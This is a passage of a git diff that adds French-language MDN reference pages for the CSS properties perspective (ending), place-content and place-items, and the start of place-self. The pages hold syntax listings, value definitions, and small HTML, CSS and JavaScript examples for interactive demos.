+      &lt;th&gt;&lt;code&gt;perspective: 350px;&lt;/code&gt;
+      &lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube pers250"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube pers350"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th&gt;&lt;code&gt;perspective: 500px;&lt;/code&gt;
+      &lt;/th&gt;
+      &lt;th&gt;&lt;code&gt;perspective: 650px;&lt;/code&gt;
+      &lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube pers500"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube pers650"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+      &lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Des classes pour les différentes valeurs */
+.pers250 {
+    perspective: 250px;
+}
+.pers350 {
+    perspective: 350px;
+}
+.pers500 {
+    perspective: 500px;
+}
+.pers650 {
+    perspective: 650px;
+}
+
+/* On définit le div pour le conteneur, */
+/* le cube, ainsi qu'une face générique */
+ .container {
+   width: 200px;
+   height: 200px;
+   margin: 75px 0 0 75px;
+   border: none;
+}
+
+.cube {
+   width: 100%;
+   height: 100%;
+   backface-visibility: visible;
+   perspective-origin: 150% 150%;
+   transform-style: preserve-3d;
+}
+
+.face {
+   display: block;
+   position: absolute;
+   width: 100px;
+   height: 100px;
+   border: none;
+   line-height: 100px;
+   font-family: sans-serif;
+   font-size: 60px;
+   color: white;
+   text-align: center;
+}
+
+/* On définit chaque face en fonction de sa direction */
+ .front {
+   background: rgba(0, 0, 0, 0.3);
+   transform: translateZ(50px);
+}
+
+.back {
+   background: rgba(0, 255, 0, 1);
+   color: black;
+   transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+   background: rgba(196, 0, 0, 0.7);
+   transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+   background: rgba(0, 0, 196, 0.7);
+   transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+   background: rgba(196, 196, 0, 0.7);
+   transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+   background: rgba(196, 0, 196, 0.7);
+   transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* On améliore légèrement le tableau */
+th, p, td {
+   background-color: #EEEEEE;
+   padding: 10px;
+   font-family: sans-serif;
+   text-align: left;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Trois_cubes', 660, 700)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Specname('CSS Transforms 2', '#propdef-perspective', 'perspective')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.perspective")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/place-content/index.html b/files/fr/web/css/place-content/index.html
new file mode 100644
index 0000000000..d1817fbb81
--- /dev/null
+++ b/files/fr/web/css/place-content/index.html
@@ -0,0 +1,247 @@
+---
+title: place-content
+slug: Web/CSS/place-content
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/place-content
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété raccourcie <code><strong>place</strong></code><strong><code>-content</code></strong> permet de définir les valeurs des propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}. Elle peut être utilisée pour n'importe quelle méthode de disposition (boîtes flexibles, grilles, etc;) qui prend en charge ces deux propriétés d'alignement.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/place-content.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs décrivant l'alignement */
+/* Note : align-content ne gère pas les valeurs left et right */
+place-content: center start;
+place-content: start center;
+place-content: end left;
+place-content: flex-start center;
+place-content: flex-end center;
+
+/* Valeurs décrivant l'alignement par rapport à la ligne de base */
+/* Note : justify-content ne gère pas les valeurs liées à la ligne de base */
+place-content: baseline center;
+place-content: first baseline space-evenly;
+place-content: last baseline right;
+
+/* Valeurs décrivant la distribution de l'alignment */
+place-content: space-between space-evenly;
+place-content: space-around space-evenly;
+place-content: space-evenly stretch;
+place-content: stretch space-evenly;
+
+/* Valeurs globales */
+place-content: inherit;
+place-content: initial;
+place-content: unset;</pre>
+
+<p>La première valeur utilisée sera celle qui correspond à {{cssxref("align-content")}} et la seconde valeur correspondra à {{cssxref("justify-content")}}. Si la deuxième valeur n'est pas présente, la première valeur indiquée sera également utilisée pour <code>justify-content</code>.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Si une seule valeur est fournie et que celle-ci est invalide pour l'une ou l'autre des propriétés détaillées, c'est la déclaration entière qui sera invalide.</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Les éléments sont alignés vers le début du conteneur pour l'axe correspondant.</dd>
+ <dt><code>end</code></dt>
+ <dd>Les éléments sont alignés vers la fin du conteneur pour l'axe correspondant.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Les éléments sont alignés vers le début du conteneur flexible pour l'axe correspondant. Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne sont pas des éléments d'un conteneur flexible, cette valeur sera synonyme de <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Les éléments sont alignés vers la fin du conteneur flexible pour l'axe correspondant. Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne sont pas des éléments d'un conteneur flexible, cette valeur sera synonyme de <code>end</code>.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments sont alignés au centre du conteneur dans l'axe correspondant.</dd>
+ <dt><code>left</code></dt>
+ <dd>Les éléments sont alignés vers le bord gauche du conteneur dans l'axe correspondant. Si l'axe de cette propriété n'est pas parallèle à l'axe en ligne (<em>inline axis</em>), cette valeur sera synonyme de <code>start</code>.</dd>
+ <dt><code>right</code></dt>
+ <dd>Les éléments sont alignés vers le bord droit du conteneur dans l'axe correspondant. Si l'axe de cette propriété n'est pas parallèle à l'axe en ligne (<em>inline axis</em>), cette valeur sera synonyme de <code>start</code>.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Les éléments sont équirépartis dans le conteneur sur l'axe correspondant. Ainsi, l'espace entre chaque élément adjacent sera le même. Le premier élément est aligné sur le bord du conteneur et le dernier élément est également aligné sur le bord du conteneur à la fin de l'axe.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.<br>
+ The fallback alignment for <code>first baseline</code> is <code>start</code>, the one for <code>last baseline</code> is <code>end</code>.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Les éléments sont équirépartis dans le conteneur sur l'axe correspondant. L'espace entre chaque élément adjacent sera le même. L'espace entre le bord du conteneur et le premier élément sera la moitié de l'espace utilisé entre chaque élément. L'espace entre le dernier élément et le bord du conteneur sera la moitié de l'espace utilisé entre chaque élément.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>Les éléments sont équirépartis dans le conteneur sur l'axe correspondant. L'espace entre chaque élément adjacent sera le même, ce sera également cet espace qui sera utilisé entre le bord du conteneur et le premier élément et entre le dernier élément et le bord du conteneur.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur pour l'axe correspondant, tous les éléments dimensionnés automatiquement seront étirés de la même façon (et pas de façon proportionnelle) tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes) afin que la taille de l'ensemble des éléments soit exactement celle du conteneur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[7]">#container {
+  display: flex;
+  height:240px;
+  width: 240px;
+  flex-wrap: wrap;
+  background-color: #8c8c8c;
+  writing-mode: horizontal-tb; /* Cette valeur peut être modifiée dans l'exemple */
+  direction: ltr; /* Cette valeur peut être modifiée dans l'exemple */
+  place-content: flex-end center; /* Cette valeur peut être modifiée dans l'exemple */
+}
+
+div &gt; div {
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  background-color: #a0c8ff;
+}
+
+.small {
+  font-size: 12px;
+  height: 40px;
+}
+
+.large {
+  font-size: 14px;
+  height: 50px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div class="small"&gt;Lorem&lt;/div&gt;
+  &lt;div class="small"&gt;Lorem&lt;br/&gt;ipsum&lt;/div&gt;
+  &lt;div class="large"&gt;Lorem&lt;/div&gt;
+  &lt;div class="large"&gt;Lorem&lt;br/&gt;impsum&lt;/div&gt;
+  &lt;div class="large"&gt;&lt;/div&gt;
+  &lt;div class="large"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="hidden brush:html">&lt;code&gt;writing-mode:&lt;/code&gt;&lt;select id="writingMode"&gt;
+  &lt;option value="horizontal-tb" selected&gt;horizontal-tb&lt;/option&gt;
+  &lt;option value="vertical-rl"&gt;vertical-rl&lt;/option&gt;
+  &lt;option value="vertical-lr"&gt;vertical-lr&lt;/option&gt;
+  &lt;option value="sideways-rl"&gt;sideways-rl&lt;/option&gt;
+  &lt;option value="sideways-lr"&gt;sideways-lr&lt;/option&gt;
+&lt;/select&gt;&lt;code&gt;;&lt;/code&gt;&lt;br/&gt;
+&lt;code&gt;direction:&lt;/code&gt;&lt;select id="direction"&gt;
+  &lt;option value="ltr" selected&gt;ltr&lt;/option&gt;
+  &lt;option value="rtl"&gt;rtl&lt;/option&gt;
+&lt;/select&gt;&lt;code&gt;;&lt;/code&gt;&lt;br/&gt;
+&lt;code&gt;place-content:&lt;/code&gt;&lt;select id="alignContentAlignment"&gt;
+  &lt;option value="normal"&gt;normal&lt;/option&gt;
+  &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+  &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+  &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+  &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+  &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+  &lt;option value="space-evenly" selected&gt;space-evenly&lt;/option&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+  &lt;option value="center"&gt;center&lt;/option&gt;
+  &lt;option value="start"&gt;start&lt;/option&gt;
+  &lt;option value="end"&gt;end&lt;/option&gt;
+  &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+  &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+&lt;/select&gt;
+&lt;select id="justifyContentAlignment"&gt;
+  &lt;option value="normal"&gt;normal&lt;/option&gt;
+  &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+  &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+  &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+  &lt;option value="center" selected&gt;center&lt;/option&gt;
+  &lt;option value="start"&gt;start&lt;/option&gt;
+  &lt;option value="end"&gt;end&lt;/option&gt;
+  &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+  &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+  &lt;option value="left"&gt;left&lt;/option&gt;
+  &lt;option value="right"&gt;right&lt;/option&gt;
+&lt;/select&gt;&lt;code&gt;;&lt;/code&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var update = function () {
+   document.getElementById("container").style.placeContent = document.getElementById("alignContentAlignment").value + " " + document.getElementById("justifyContentAlignment").value;
+}
+
+var alignContentAlignment = document.getElementById("alignContentAlignment");
+alignContentAlignment.addEventListener("change",  update);
+
+var justifyContentAlignment = document.getElementById("justifyContentAlignment");
+justifyContentAlignment.addEventListener("change", update);
+
+var writingM = document.getElementById("writingMode");
+writingM.addEventListener("change", function (evt) {
+   document.getElementById("container").style.writingMode = evt.target.value;
+});
+var direction = document.getElementById("direction");
+direction.addEventListener("change", function (evt) {
+   document.getElementById("container").style.direction = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "370", "300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-place-content", "place content")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.place-content")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.place-content.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles">Prise en charge pour les grilles</h3>
+
+<p>{{Compat("css.properties.place-content.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles en CSS</a></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>La propriété {{cssxref("align-content")}}</li>
+ <li>La propriété {{cssxref("justify-content")}}</li>
+</ul>
diff --git a/files/fr/web/css/place-items/index.html b/files/fr/web/css/place-items/index.html
new file mode 100644
index 0000000000..b9a2608334
--- /dev/null
+++ b/files/fr/web/css/place-items/index.html
@@ -0,0 +1,281 @@
+---
+title: place-items
+slug: Web/CSS/place-items
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/place-items
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété raccourcie <code><strong>place</strong></code><strong><code>-items</code></strong> définit les valeurs utilisées pour les propriétés {{cssxref("align-items")}} et {{cssxref("justify-items")}}. La première valeur fournie est utilisée pour <code>align-items</code> et la seconde est utilisée pour <code>justify-items</code>. S'il n'y a pas de seconde valeur fournie, c'est la première qui est reprise pour <code>justify-items</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/place-items.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+place-items: auto center;
+place-items: normal start;
+
+/* Alignement géométrique */
+place-items: center normal;
+place-items: start auto;
+place-items: end normal;
+place-items: self-start auto;
+place-items: self-end normal;
+place-items: flex-start auto;
+place-items: flex-end normal;
+place-items: left auto;
+place-items: right normal;
+
+/* Alignement par rapport à la ligne de base */
+place-items: baseline normal;
+place-items: first baseline auto;
+place-items: last baseline normal;
+place-items: stretch auto;
+
+/* Valeurs globales */
+place-items: inherit;
+place-items: initial;
+place-items: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur utilisée est celle de <code>justify-items</code> pour l'élément parent sauf si l'élément n'a pas de parent ou qu'il est positionné de façon absolue auquel cas <code>auto</code> sera synonyme de <code>normal</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>L'effet de ce mot-clé depend du mode de disposition utilisé :
+ <ul>
+  <li>Pour les dispositions en bloc, ce mot-clé est synonyme de <code>start</code>.</li>
+  <li>Pour les dispositions absolues, ce mot-clé se comporte comme <code>start</code> pour les éléments remplacés ou comme <code>stretch</code> pour tous les autres éléments.</li>
+  <li>Pour les cellules de tableaux, ce mot-clé n'a pas de sens et cette propriété est ignorée.</li>
+  <li>Pour les dispositions utilisant des boîtes flexibles, ce mot-clé n'a pas de sens et cette propriété est ignorée<em>.</em></li>
+  <li>Pour les dispositions en grille, ce mot-clé se comporte comme <code>stretch</code> sauf pour les éléments qui ont des dimensions intrinsèques ou des contraintes de ratio, auquel cas cette valeur est synonyme de <code>start</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>start</code></dt>
+ <dd>L'élément est aligné au début de l'axe dans la direction correspondante.</dd>
+ <dt><code>end</code></dt>
+ <dd>L'élément est aligné à la fin de l'axe dans la direction correspondante.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Les éléments sont regroupés vers le début du conteneur flexible pour l'axe correspondant.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Les éléments sont regroupés vers la fin du conteneur flexible pour l'axe correspondant.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>end</code>.</dd>
+ <dt><code>self-start</code></dt>
+ <dd>Les éléments sont alignés sur le bord de leur boîte vers le début de l'axe correspondant.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Les éléments sont alignés sur le bord de leur boîte vers la fin de l'axe correspondant.</dd>
+ <dt><code>center</code></dt>
+ <dd>L'élément est centré le long de l'axe correspondant.</dd>
+ <dt><code>left</code></dt>
+ <dd>L'élément est aligné sur le bord gauche du conteneur. Si l'axe de la propriété n'est pas parallèle à l'axe en ligne, cette valeur se comporte comme <code>start</code>.</dd>
+ <dt><code>right</code></dt>
+ <dd>L'élément est aligné sur le bord droit du conteneur. Si l'axe de la propriété n'est pas parallèle à l'axe en ligne, cette valeur se comporte comme <code>start</code>.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse.<br>
+ Si <code>first baseline</code> n'est pas prise en charge, la valeur correspondra à <code>start</code>, si <code>last baseline</code> n'est pas prise en charge, la valeur correspondra à <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur, les éléments dimensionnés automatiquement seront élargis de la même longueur tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes), afin que l'ensemble des éléments remplisse exactement le conteneur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">#container {
+  height:200px;
+  width: 240px;
+  place-items: center; /* Cette valeur peut être modifiée dans l'exemple */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css;">div &gt; div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container" class="flex"&gt;
+  &lt;div id="item1"&gt;1&lt;/div&gt;
+  &lt;div id="item2"&gt;2&lt;/div&gt;
+  &lt;div id="item3"&gt;3&lt;/div&gt;
+  &lt;div id="item4"&gt;4&lt;/div&gt;
+  &lt;div id="item5"&gt;5&lt;/div&gt;
+  &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="display"&gt;display: &lt;/label&gt;
+  &lt;select id="display"&gt;
+    &lt;option value="flex"&gt;flex&lt;/option&gt;
+    &lt;option value="grid"&gt;grid&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="values"&gt;place-items: &lt;/label&gt;
+  &lt;select id="values"&gt;
+    &lt;option value="start"&gt;start&lt;/option&gt;
+    &lt;option value="center"&gt;center&lt;/option&gt;
+    &lt;option value="end"&gt;end&lt;/option&gt;
+    &lt;option value="left"&gt;left&lt;/option&gt;
+    &lt;option value="right"&gt;right&lt;/option&gt;
+    &lt;option value="auto center"&gt;auto center&lt;/option&gt;
+    &lt;option value="normal start"&gt;normal start&lt;/option&gt;
+    &lt;option value="center normal"&gt;center normal&lt;/option&gt;
+    &lt;option value="start auto"&gt;start auto&lt;/option&gt;
+    &lt;option value="end normal"&gt;end normal&lt;/option&gt;
+    &lt;option value="self-start auto"&gt;self-start auto&lt;/option&gt;
+    &lt;option value="self-end normal"&gt;self-end normal&lt;/option&gt;
+    &lt;option value="flex-start auto"&gt;flex-start auto&lt;/option&gt;
+    &lt;option value="flex-end normal"&gt;flex-end normal&lt;/option&gt;
+    &lt;option value="left auto"&gt;left auto&lt;/option&gt;
+    &lt;option value="right normal"&gt;right normal&lt;/option&gt;
+    &lt;option value="baseline normal"&gt;baseline normal&lt;/option&gt;
+    &lt;option value="first baseline auto"&gt;first baseline auto&lt;/option&gt;
+    &lt;option value="last baseline normal"&gt;last baseline normal&lt;/option&gt;
+    &lt;option value="stretch auto"&gt;stretch auto&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+  container.style.placeItems = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+  container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 260, 290)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#place-items-property", "place-items")}}</td>
+   <td>{{Spec2('CSS3 Box Alignment')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.place-items.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles">Prise en charge pour les grilles</h3>
+
+<p>{{Compat("css.properties.place-items.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>Les propriétés détaillées correspondantes :
+  <ul>
+   <li>{{cssxref("align-items")}}</li>
+   <li>{{cssxref("justify-items")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+</ul>
diff --git a/files/fr/web/css/place-self/index.html b/files/fr/web/css/place-self/index.html
new file mode 100644
index 0000000000..d7d96613fd
--- /dev/null
+++ b/files/fr/web/css/place-self/index.html
@@ -0,0 +1,132 @@
+---
+title: place-self
+slug: Web/CSS/place-self
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/place-self
+---
+<div>{{CSSRef}}</div>
+
